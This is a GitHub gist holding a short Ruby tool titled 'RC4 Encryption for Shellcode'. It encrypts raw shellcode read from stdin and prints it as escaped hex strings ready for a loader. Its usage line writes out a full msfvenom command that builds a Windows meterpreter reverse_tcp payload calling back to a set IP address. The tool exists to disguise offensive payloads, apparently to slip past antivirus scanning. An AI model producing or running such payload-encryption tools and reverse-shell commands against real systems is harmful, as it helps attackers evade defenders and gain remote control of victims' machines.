Created
January 10, 2019 02:03
-
-
Save mfadzilr/95a0727c971d464af8b2d7b10e616970 to your computer and use it in GitHub Desktop.
RC4 Encryption for Shellcode
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'rc4' | |
require 'optparse' | |
options = {} | |
optparse = OptionParser.new do |opts| | |
opts.banner = "Usage: msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.13.1 -f raw | ruby ./rc5-encrypt.rb --key demo" | |
options[:key] = nil | |
opts.on('-k', '--key KEY', 'encryption key') do |key| | |
options[:key] = key | |
end | |
opts.on('-h', '--help', 'display help') do | |
puts opts | |
exit | |
end | |
end.parse! | |
if not STDIN.tty? and not STDIN.closed? | |
shellcode = STDIN.read | |
else | |
puts "[!] Require shellcode generated by msfvenom!" | |
exit | |
end | |
key = options[:key] | |
enc = RC4.new(key) | |
encrypted = enc.encrypt(shellcode) | |
enc_payload = (encrypted.unpack('H*'))[0].scan(/../) | |
sc_in = [] | |
enc_payload.each_slice(15) do |array_hex| | |
sc_in << array_hex.join('\x').prepend('\x') | |
end | |
sc_out = [] | |
sc_in.map do |sc_line| | |
if sc_line != sc_in.last | |
sc_out << "\"" + sc_line + "\" +\n" | |
else | |
sc_out << "\"" + sc_line + "\"\n" | |
end | |
end | |
puts sc_out |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment